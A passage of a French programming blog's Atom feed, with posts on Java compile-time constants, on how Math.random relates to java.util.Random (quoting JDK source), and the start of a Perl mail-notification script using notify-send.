&lt;li&gt;Compilez les deux codes et lancez la classe &lt;code&gt;Use&lt;/code&gt;… 42 s&amp;rsquo;affiche&lt;/li&gt;
&lt;li&gt;&lt;code&gt;s/42/43&lt;/code&gt; et recompilez &lt;strong&gt;uniquement&lt;/strong&gt; la classe &lt;code&gt;Constant&lt;/code&gt;… 42 s&amp;rsquo;affiche toujours&lt;/li&gt;
&lt;li&gt;Recompilez la classe &lt;code&gt;Use&lt;/code&gt; maintenant et vous verrez apparaitre 43. C&amp;rsquo;est donc bien le compilateur qui fait le travail…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ceci n&amp;rsquo;est vrai que dans le cas d&amp;rsquo;une &lt;strong&gt;constante de classe&lt;/strong&gt; et non dans le cas d&amp;rsquo;une &lt;strong&gt;constante d&amp;rsquo;instance&lt;/strong&gt;. C&amp;rsquo;est-à-dire que la même manip en omettant le mot clé &lt;strong&gt;&lt;code&gt;static&lt;/code&gt;&lt;/strong&gt; ne fournira pas le même résultat.&lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2011-03-24-Math.random-versus-Random.html"&gt;Math.random versus Random&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-03-01-Unicode-et-flux-en-Java.html"&gt;Unicode et flux en Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2006-11-13-la-reponse-est-42.html"&gt;La réponse est 42&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;En me relisant, je me dis que demander ce que fait le &lt;strong&gt;compilateur&lt;/strong&gt;, c&amp;rsquo;est un peu induire la réponse…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Math.random versus Random</title><link href="http://blog.namok.be/2011-03-24-Math.random-versus-Random.html" rel="alternate"/><published>2011-03-24T00:00:00+01:00</published><updated>2011-03-24T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-03-24:/2011-03-24-Math.random-versus-Random.html</id><summary type="html">Du bon usage de l'aléatoire en Java.</summary><content type="html">&lt;p&gt;Lorsque je veux obtenir un nombre entier aléatoire compris entre &lt;code&gt;0&lt;/code&gt; et &lt;code&gt;N&lt;/code&gt; (strictement), je fais&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nombreAléatoire&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… lorsque je veux en obtenir plusieurs, le prof (je sais c&amp;rsquo;est moi, c&amp;rsquo;est une figure de style) me conseille l&amp;rsquo;utilisation de la classe &lt;code&gt;Random&lt;/code&gt; et je ne sais pas pourquoi.&lt;/p&gt;
&lt;p&gt;Petite explication sur base d&amp;rsquo;une recherche Google me renseignant un &lt;a href="http://stackoverflow.com/questions/738629/math-random-versus-random-nextintint"&gt;article chez &amp;lsquo;&amp;rsquo;stackoverflow&amp;rsquo;&amp;lsquo;&lt;/a&gt; . Je cite&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Math.random() uses Random.nextDouble() internally.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Random.nextDouble() uses Random.next() twice to generate a double that has approximately uniformly distributed bits in its mantissa, so it is uniformly distributed in the range 0 to 1-(2^-53).&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://stackoverflow.com/questions/738629/math-random-versus-random-nextintint"&gt;stackoverflow.com&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Comment puis-je vérifier ces assertions ?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Math.random()&lt;/code&gt; utilise &lt;code&gt;nextDouble()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Simplement en prenant la peine de télécharger les sources de mon &lt;em&gt;jdk&lt;/em&gt; et en les décompressant (c&amp;rsquo;est sans doute une belle illustration de ce que c&amp;rsquo;est que l_&amp;rsquo;open source_). &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;édite le fichier &lt;code&gt;java/lang/Math.java&lt;/code&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; et cherche le code qui m&amp;rsquo;intéresse pour constater que c&amp;rsquo;est, effectivement, un simple appel à la méthode &lt;code&gt;nextDouble&lt;/code&gt; d&amp;rsquo;un objet &lt;code&gt;Random&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Random&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;randomNumberGenerator&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;synchronized&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;initRNG&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;randomNumberGenerator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;randomNumberGenerator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Random&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;randomNumberGenerator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;initRNG&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;randomNumberGenerator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nextDouble&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je constate également que la méthode &lt;code&gt;Math.random()&lt;/code&gt; utilise le même objet &lt;code&gt;Random&lt;/code&gt; pour tous les appels à la méthode &lt;code&gt;Math.random()&lt;/code&gt; (l&amp;rsquo;objet est initialisé lors du premier appel).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Que fait &lt;code&gt;Random.nextDouble()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Que fait &lt;code&gt;Random.nextDouble()&lt;/code&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;sup&gt;,&lt;/sup&gt; &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; ?&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;nextDouble&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="mi"&gt;1L&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La méthode &lt;code&gt;next(int)&lt;/code&gt; est la méthode permettant d&amp;rsquo;obtenir un nombre aléatoire. Son paramètre représente la taille (&lt;strong&gt;en bits&lt;/strong&gt;) du nombre aléatoire que l&amp;rsquo;on recevra.&lt;/p&gt;
&lt;p&gt;Par exemple, si vous faites moults appels comme &lt;code&gt;next(2)&lt;/code&gt;, vous ne recevrez que des valeurs parmi; 0, 1, 2 et 3.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;opérateur &lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt; permet de faire un &lt;em&gt;shift&lt;/em&gt; de &lt;code&gt;n&lt;/code&gt; bits vers la gauche ((re)lire à ce sujet &lt;em&gt;The Langage specifications&lt;/em&gt;, section 15.19, page 502 (536 du &lt;a href="/pdf/Book-LangageSpecification-3.0.pdf"&gt;PDF&lt;/a&gt; )).&lt;/p&gt;
&lt;p&gt;On pourrait simplement regarder passer ou bien mettre les doigts dedans…&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Mettons (superficiellement) les doigts dedans&lt;/em&gt;… mais avant, une lecture de &lt;a href="http://fr.wikipedia.org/wiki/IEEE_754"&gt;Wikipedia&lt;/a&gt; (ou des pages 37 à 40 -71 à 74 du PDF- &amp;ldquo;Language specifications&amp;rdquo;) expliquant la norme IEEE 754 de représentation des nombres en virgule flottante… est plus que conseillée.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Quelques instants plus tard&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Je comprends maintenant d&amp;rsquo;ou viennent les valeurs 26, 27 et 53 et (plus ou moins) comment est générée cette valeur &lt;code&gt;double&lt;/code&gt; aléatoire.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quid de la génération d&amp;rsquo;un entier en utilisant la classe &lt;code&gt;Random&lt;/code&gt; ?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Random.nextInt(n)&lt;/code&gt; uses &lt;code&gt;Random.next()&lt;/code&gt; less than twice on average- it uses it once, and if the value obtained is above the highest multiple of n below MAX_INT it tries again, otherwise is returns the value modulo n (this prevents the values above the highest multiple of n below MAX_INT skewing the distribution), so returning a value which is uniformly distributed in the range 0 to n-1.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Si &lt;code&gt;Random.nextInt()&lt;/code&gt; est très simple à comprendre puisqu&amp;rsquo;il me génère une suite de 32 bits &amp;ldquo;aléatoires&amp;rdquo;, &lt;code&gt;Random.nextInt(n)&lt;/code&gt; est plus complexe. Si je comprend bien, prendre le modulo d&amp;rsquo;une valeur &amp;ldquo;trop grande&amp;rdquo; risque de biaiser la suite de nombres aléatoires &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;nextInt&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;nextInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IllegalArgumentException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;n must be positive&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// i.e., n is a power of 2&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Une autre remarque que l&amp;rsquo;on peut faire est que &lt;code&gt;Random.next()&lt;/code&gt; permet de régénérer deux fois la même suite de nombres aléatoires. Il suffit de choisir la même graine (&lt;em&gt;seed&lt;/em&gt;). Ce qui n&amp;rsquo;est pas possible avec &lt;code&gt;Math.random()&lt;/code&gt; puisque la graine n&amp;rsquo;est pas précisée lors de l&amp;rsquo;initialisation de &lt;code&gt;Random&lt;/code&gt; dans la méthode &lt;code&gt;initRNG&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Another important point is that &lt;code&gt;Random.nextInt(n)&lt;/code&gt; is repeatable since you can create two Random object with the same seed. This is not possible with &lt;code&gt;Math.random()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://stackoverflow.com/questions/738629/math-random-versus-random-nextintint"&gt;stackoverflow.com&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Le fait de pouvoir générer plusieurs fois la même séquence de nombres peut-être intéressant lors de la mise au point d&amp;rsquo;un programme et/ou lors de tests.&lt;/p&gt;
&lt;p&gt;En espérant que ceci vous a éclairé…&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Comme c&amp;rsquo;est facile de le trouver dans tous ces fichiers puisque son emplacement correspond au nom de son &lt;em&gt;package&lt;/em&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Remarquez que je n&amp;rsquo;ai pas touché à l&amp;rsquo;indentation du code et je vois que les conventions d&amp;rsquo;écriture du code (voir le document &lt;em&gt;Conventions d&amp;rsquo;écriture du code en Java&lt;/em&gt; REF) sont respectées: &lt;em&gt;break before operator&lt;/em&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Remarquez également (si vous allez voir ce code) qu&amp;rsquo;il est également visible dans la &lt;code&gt;javadoc&lt;/code&gt;. Les sources sont donc inutiles dans ce cas… sauf pour vérifier que le code correspond à la doc ^^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas tout à fait clair dans ma tête, un passant peu nous éclairer, mais je n&amp;rsquo;y passe pas plus de temps maintenant&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Notification d'emails notify-mail</title><link href="http://blog.namok.be/2011-03-17-Notification-d-emails-notify-mail.html" rel="alternate"/><published>2011-03-17T00:00:00+01:00</published><updated>2011-03-17T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-03-17:/2011-03-17-Notification-d-emails-notify-mail.html</id><summary type="html">Notification d'emails notify-mail</summary><content type="html">&lt;p&gt;&lt;img alt="screenshot-notify-send.png" class="right" src="/images/screenshot-notify-send2.png" width="33%"&gt;&lt;/p&gt;
&lt;p&gt;Je lisais quelque part qu&amp;rsquo;il était très simple de &lt;strong&gt;notifier&lt;/strong&gt; un message à l&amp;rsquo;écran. Il suffit d&amp;rsquo;installer le paquet &lt;code&gt;libnotify&lt;/code&gt; et la commande &lt;code&gt;notify-send&lt;/code&gt; est disponible. Sa syntaxe est toute simple puisqu&amp;rsquo;il suffit d&amp;rsquo;écrire…&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;notify-send&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Mon titre&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Mon message&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;/elsewhere/monicone.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il ne m&amp;rsquo;en faut pas plus pour jouer un peu…&lt;/p&gt;
&lt;p&gt;… je me rappelle avoir écrit un script permettant de tester le nombre de mails contenu dans une &lt;em&gt;mailbox&lt;/em&gt; (de type &lt;code&gt;mailbox&lt;/code&gt;). En reprenant ce script et en le modifiant un peu, j&amp;rsquo;obtiens un petite notification chaque fois que je reçois un nouveau message.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You have got a message&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Voici le script&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/usr/bin/perl -w &lt;/span&gt;
&lt;span class="c1"&gt;# Biff mailboxe and notify&lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;span class="c1"&gt;# Script for checking mailbox (mbox format) and notify result. &lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;span class="c1"&gt;# Require: libnotify &lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;span class="c1"&gt;# Usage:&lt;/span&gt;
&lt;span class="c1"&gt;#   notify-mail MBOX&lt;/span&gt;
&lt;span class="c1"&gt;#   MBOX : mbox file (/var/spool/user or anything else)&lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;span class="c1"&gt;# Author: Pierre BETTENS, &amp;lt;pb@namok.be&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;# Thanks to Moshe Kaminsky &amp;lt;kaminsky@math.huji.ac.il&amp;gt;, &lt;/span&gt;
&lt;span class="c1"&gt;# Version: 0.1&lt;/span&gt;
&lt;span class="c1"&gt;# Copyright: Use it… &lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
